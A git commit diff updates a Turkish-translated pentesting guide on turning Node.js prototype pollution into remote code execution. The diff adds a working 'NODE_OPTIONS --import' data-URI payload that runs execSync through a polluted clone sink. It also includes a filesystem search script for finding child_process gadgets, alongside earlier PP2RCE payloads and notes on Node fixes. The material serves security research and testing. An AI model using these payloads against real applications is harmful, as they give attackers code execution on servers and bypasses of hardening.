Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p

This commit is contained in:
Translator 2025-08-04 14:17:04 +00:00
parent 3729359b9c
commit e40dd79a3f

View File

@ -41,7 +41,7 @@ var proc = fork("a_file.js")
**PP2RCE**, **Prototype Pollution to RCE** (Uzak Kod Çalıştırma) anlamına gelir.
Bu [**yazıya**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) göre, bir **işlem başlatıldığında** **`child_process`**'ten bazı yöntemlerle (örneğin `fork` veya `spawn` gibi) `normalizeSpawnArguments` yöntemini çağırır; bu, **yeni env değişkenleri oluşturmak için bir prototip kirlenme aracı**dır:
Bu [**yazıya**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) göre, bir **işlem başlatıldığında** **`child_process`**'ten bazı yöntemlerle (örneğin `fork` veya `spawn` gibi) `normalizeSpawnArguments` yöntemini çağırır; bu, **yeni env değişkenleri oluşturmak için bir prototip kirletme aracı**dır:
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@ -66,10 +66,10 @@ Kodunuzu kontrol edin, **`envPairs`**'i **kirleterek** **`.env`** niteliğini **
### **`__proto__`'yu Zehirleme**
> [!WARNING]
> **`child_process`** kütüphanesindeki **`normalizeSpawnArguments`** fonksiyonunun çalışma şekli nedeniyle, bir şeyin çağrılması durumunda süreç için **yeni bir env değişkeni ayarlamak** için sadece **herhangi bir şeyi kirletmeniz** gerekir.\
> **`child_process`** kütüphanesindeki **`normalizeSpawnArguments`** fonksiyonunun çalışma şekli nedeniyle, bir süreç için **yeni bir env değişkeni ayarlamak** amacıyla bir şey çağrıldığında, sadece **herhangi bir şeyi kirletmeniz** yeterlidir.\
> Örneğin, `__proto__.avar="valuevar"` yaparsanız, süreç `avar` adında ve değeri `valuevar` olan bir değişkenle başlatılacaktır.
>
> Ancak, **env değişkeninin ilk** olması için **`.env` niteliğini** **kirletmeniz** gerekir ve (sadece bazı yöntemlerde) o değişken **ilk** olacak (saldırıya izin verecek).
> Ancak, **env değişkeninin ilk** olması için **`.env` niteliğini** **kirletmeniz** gerekir ve (sadece bazı yöntemlerde) o değişken **ilk** olacaktır (saldırıya izin verir).
>
> Bu nedenle, aşağıdaki saldırıda **`NODE_OPTIONS`** **`.env`** içinde **değildir**.
```javascript
@ -120,7 +120,7 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
```
## PP2RCE env vars + cmdline aracılığıyla
## PP2RCE env değişkenleri + cmdline aracılığıyla
Öncekiyle benzer bir yük, bazı değişikliklerle [**bu yazıda**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)** önerilmiştir.** Ana farklar şunlardır:
@ -149,6 +149,47 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
```
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
> [!NOTE]
> **Node.js 19**'dan itibaren CLI bayrağı `--import`, `--require` gibi `NODE_OPTIONS` üzerinden geçirilebilir. `--require`'dan farklı olarak, `--import` **data-URI'lerini** anlar, bu nedenle saldırganın **dosya sistemine yazma erişimine** ihtiyacı yoktur. Bu, aracı kilitlenmiş veya yalnızca okunabilir ortamlarda çok daha güvenilir hale getirir.
>
> Bu teknik, Mayıs 2023'te PortSwigger araştırması tarafından ilk kez kamuya belgelenmiş ve o zamandan beri birkaç CTF yarışmasında yeniden üretilmiştir.
Saldırı, yukarıda gösterilen `--require /proc/self/*` numaralarına kavramsal olarak aynıdır, ancak bir dosyaya işaret etmek yerine yükü doğrudan base64 kodlu bir `data:` URL'sine gömüyoruz:
```javascript
const { fork } = require("child_process")
// Manual pollution
b = {}
// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) same as earlier examples
fork("./a_file.js");
```
Sayfanın üst kısmında gösterilen savunmasız merge/clone sink'ini istismar etmek:
```javascript
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);
// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import
```
### Neden `--import` yardımcı olur
1. **Disk etkileşimi yok** yük tamamen işlem komut satırı ve ortamı içinde yol alır.
2. **Sadece ESM ortamlarında çalışır** `--import`, modern Node sürümlerinde ECMAScript Modüllerine varsayılan olarak JavaScript'i önceden yüklemenin kanonik yoludur.
3. **Bazı `--require` izin listelerini atlar** birkaç sertleştirme kütüphanesi yalnızca `--require`'ı filtreler, `--import`'ı dokunulmaz bırakır.
> [!WARNING]
> `NODE_OPTIONS` içindeki `--import` desteği en son **Node 22.2.0**'da (Haziran 2025) hala mevcuttur. Node çekirdek ekibi gelecekte veri-URI'lerini kısıtlama konusunda tartışıyor, ancak yazma anında herhangi bir hafifletme mevcut değildir.
---
## DNS Etkileşimi
Aşağıdaki yükleri kullanarak daha önce tartıştığımız NODE_OPTIONS ortam değişkenini kötüye kullanmak ve bunun bir DNS etkileşimi ile çalışıp çalışmadığını tespit etmek mümkündür:
@ -171,9 +212,9 @@ Ya da, WAF'ların alan adı istemesini önlemek için:
}
}
```
## PP2RCE zafiyeti child_process fonksiyonları
## PP2RCE vuln child_process functions
Bu bölümde **`child_process`'ten her bir fonksiyonu** analiz edeceğiz ve bu fonksiyonu kod çalıştırmaya zorlamak için herhangi bir teknik kullanıp kullanamayacağımıza bakacağız:
Bu bölümde **`child_process`'ten her bir fonksiyonu** analiz edeceğiz ve bu fonksiyonun kodu çalıştırmasını sağlamak için herhangi bir teknik kullanıp kullanamayacağımıza bakacağız:
<details>
@ -228,7 +269,7 @@ var proc = execFile("/usr/bin/node")
// Windows - not working
```
**`execFile`**'ın çalışması için **mutlaka node**'u çalıştırması **GEREKİR**.\
Eğer **node**'u çalıştırmıyorsa, çalıştırdığı şeyi **çevre değişkenleri** ile **değiştirmenin** bir yolunu bulmalısınız ve bunları ayarlamalısınız.
Eğer **node**'u çalıştırmıyorsa, çalıştırdığı şeyi **çevresel değişkenlerle** **değiştirmenin** bir yolunu bulmalısınız ve bunları ayarlamalısınız.
**Diğer** teknikler bu gereklilik olmadan **çalışır** çünkü **neyin çalıştırıldığını** prototip kirlenmesi yoluyla **değiştirmek mümkündür**. (Bu durumda, `.shell`'i kirletebilseniz bile, çalıştırılan şeyi kirletemezsiniz).
@ -323,7 +364,7 @@ var proc = spawn("something")
<details>
<summary><strong><code>execFileSync</code> istismar</strong></summary>
<summary><strong><code>execFileSync</code> istismarı</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
@ -461,9 +502,9 @@ var proc = spawnSync("something")
```
</details>
## Spawn'ı Zorlamak
## Zorla Spawn
Önceki örneklerde, bir gadget'ı tetiklemeyi nasıl yapacağınızı gördünüz; bir işlevselliğin **`spawn`**'ı **çağırması** gerekir (bir şeyi çalıştırmak için kullanılan **`child_process`**'in tüm yöntemleri bunu çağırır). Önceki örnekte bu **kodun bir parçasıydı**, ama ya kod **bunu** çağırmıyorsa?
Önceki örneklerde, bir gadget'ı tetiklemeyi nasıl gerçekleştireceğinizi gördünüz; bir işlevin **`spawn`** çağırması için **mevcut** olması gerekir (bir şeyi çalıştırmak için kullanılan tüm **`child_process`** yöntemleri bunu çağırır). Önceki örnekte bu **kodun bir parçasıydı**, ama ya kod **bunu** çağırmıyorsa?
### Bir require dosya yolunu kontrol etme
@ -474,7 +515,7 @@ Bu [**diğer yazıda**](https://blog.sonarsource.com/blitzjs-prototype-pollution
- /opt/yarn-v1.22.19/preinstall.js
- **Aşağıda daha fazla dosya bulun**
Aşağıdaki basit betik, **fonksiyonlar içindeki çağrıları göstermemek için** (herhangi bir padding olmadan) **child_process**'ten **çağrıları** arayacaktır:
Aşağıdaki basit betik, **child_process**'ten **çağrıları** **herhangi bir padding olmadan** arayacaktır (fonksiyonlar içindeki çağrıları göstermemek için):
```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
@ -502,14 +543,14 @@ done
> [!WARNING]
> **Önceki teknik**, **kullanıcının** **require edilecek dosyanın yolunu kontrol etmesini gerektirir**. Ancak bu her zaman doğru değildir.
Ancak, eğer kod prototip kirlenmesinden sonra bir require işlemi gerçekleştirecekse, **require edilecek yol üzerinde kontrolünüz olmasa bile**, **prototip kirlenmesini kötüye kullanarak farklı bir yol zorlayabilirsiniz**. Yani, kod satırı `require("./a_file.js")` veya `require("bytes")` gibi olsa bile, **kirlettiğiniz paketi require edecektir**.
Ancak, eğer kod prototip kirlenmesinden sonra bir require işlemi gerçekleştirecekse, **require edilecek yolu kontrol etmiyorsanız bile**, **prototip kirlenmesini kötüye kullanarak farklı bir yolu zorlayabilirsiniz**. Yani, kod satırı `require("./a_file.js")` veya `require("bytes")` gibi olsa bile, **kirlettiğiniz paketi require edecektir**.
Bu nedenle, eğer prototip kirlenmesinden sonra bir require işlemi gerçekleştirilirse ve hiçbir spawn fonksiyonu yoksa, bu saldırıdır:
- **Sistem içinde** **require edildiğinde `child_process` kullanarak bir şey çalıştıracak bir `.js` dosyası bulun**
- Eğer saldırdığınız platforma dosya yükleyebiliyorsanız, böyle bir dosya yükleyebilirsiniz
- `.js` dosyasının require yüklemesini **zorlamak için yolları kirletin** ve child_process ile bir şey çalıştıracak dosyayı yükleyin
- Bir child_process yürütme fonksiyonu çağrıldığında rastgele kod çalıştırmak için **çevre/cmdline'ı kirletin** (ilk tekniklere bakın)
- Saldırdığınız platforma dosya yükleyebiliyorsanız, böyle bir dosya yükleyebilirsiniz
- `.js` dosyasının require yüklemesini **zorlamak için yolları kirletin** ve bu dosya `child_process` ile bir şey çalıştıracaktır
- Bir `child_process` yürütme fonksiyonu çağrıldığında rastgele kod çalıştırmak için **çevre/cmdline'ı kirletin** (ilk tekniklere bakın)
#### Mutlak require
@ -636,7 +677,7 @@ fork("/path/to/anything")
{{#endtab}}
{{#endtabs}}
#### Göreceli gereksinim - 3
#### Relative require - 3
Öncekine benzer şekilde, bu [**bu yazıda**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs) bulundu.
```javascript
@ -658,30 +699,36 @@ NODE_OPTIONS: "--require=/proc/self/environ",
require("./usage.js")
```
## VM Gadgetleri
## VM Gadgets
Makalede [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) bazı **`vm`** kütüphanesinin yöntemlerinden **`contextExtensions`** kontrolünün bir gadget olarak kullanılabileceği belirtilmiştir.\
Makalede [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) **`vm`** kütüphanesinin bazı yöntemlerinden **`contextExtensions`** kontrolünün bir gadget olarak kullanılabileceği de belirtilmiştir.\
Ancak, önceki **`child_process`** yöntemleri gibi, en son sürümlerde **düzeltilmiştir**.
## Düzeltmeler & Beklenmedik korumalar
## Fixes & Unexpected protections
Lütfen, prototip kirlenmesinin, erişilen bir nesnenin **özelliği** **undefined** olduğunda çalıştığını unutmayın. Eğer **kodda** bu **özellik** bir **değer** ile **ayarlanmışsa**, onu **üstüne yazamazsınız**.
Lütfen, prototip kirletmenin, erişilen bir nesnenin **özelliği** **undefined** olduğunda çalıştığını unutmayın. Eğer **kodda** bu **özellik** bir **değer** ile **ayarlanmışsa**, onu **üzerine yazamazsınız**.
Haziran 2022'de [**bu commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) ile `options` değişkeni `{}` yerine **`kEmptyObject`** olarak ayarlanmıştır. Bu, **prototip kirlenmesinin** **`options`** özelliklerini etkilemesini engellemektedir ve RCE elde etmek için kullanılmamaktadır.\
En azından v18.4.0'dan itibaren bu koruma **uygulanmıştır** ve bu nedenle `spawn` ve `spawnSync` **sömürüleri** artık yöntemleri **etkilememektedir** (eğer `options` kullanılmıyorsa!).
Haziran 2022'de [**bu commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) ile `options` değişkeni `{}` yerine **`kEmptyObject`** olarak ayarlanmıştır. Bu, **prototip kirletmenin** **`options`** özelliklerini etkilemesini engeller ve RCE elde etmeyi zorlaştırır.\
En azından v18.4.0'dan itibaren bu koruma **uygulanmıştır** ve bu nedenle `spawn` ve `spawnSync` **sömürüleri** artık yöntemleri etkilememektedir (eğer `options` kullanılmıyorsa!).
[**Bu committe**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) vm kütüphanesindeki **`contextExtensions`** için **prototip kirlenmesi** de **bir şekilde düzeltilmiştir**; seçenekler **`kEmptyObject`** olarak ayarlanmıştır, **`{}`** yerine.
[**Bu committe**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) **`contextExtensions`**'ın **prototip kirletmesi** vm kütüphanesinden **bir tür düzeltilmiştir**; `options` **`kEmptyObject`** olarak ayarlanmıştır, **`{}`** yerine.
### **Diğer Gadgetler**
> [!INFO]
> **Node 20 (Nisan 2023) & Node 22 (Nisan 2025)** daha fazla güçlendirme ile geldi: birkaç `child_process` yardımcı programı artık kullanıcı tarafından sağlanan `options`'ı **`CopyOptions()`** ile kopyalamaktadır, referansla kullanmak yerine. Bu, `stdio` gibi iç içe nesnelerin kirletilmesini engeller, ancak yukarıda açıklanan **`NODE_OPTIONS` / `--import` hilelerine** karşı koruma sağlamaz bu bayraklar hala ortam değişkenleri aracılığıyla kabul edilmektedir.
> Tam bir düzeltme, hangi CLI bayraklarının ana süreçten yayılabileceğini kısıtlamalıdır; bu, Node Issue #50559'da takip edilmektedir.
### **Other Gadgets**
- [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
- [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
## Referanslar
## References
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
{{#include ../../../banners/hacktricks-training.md}}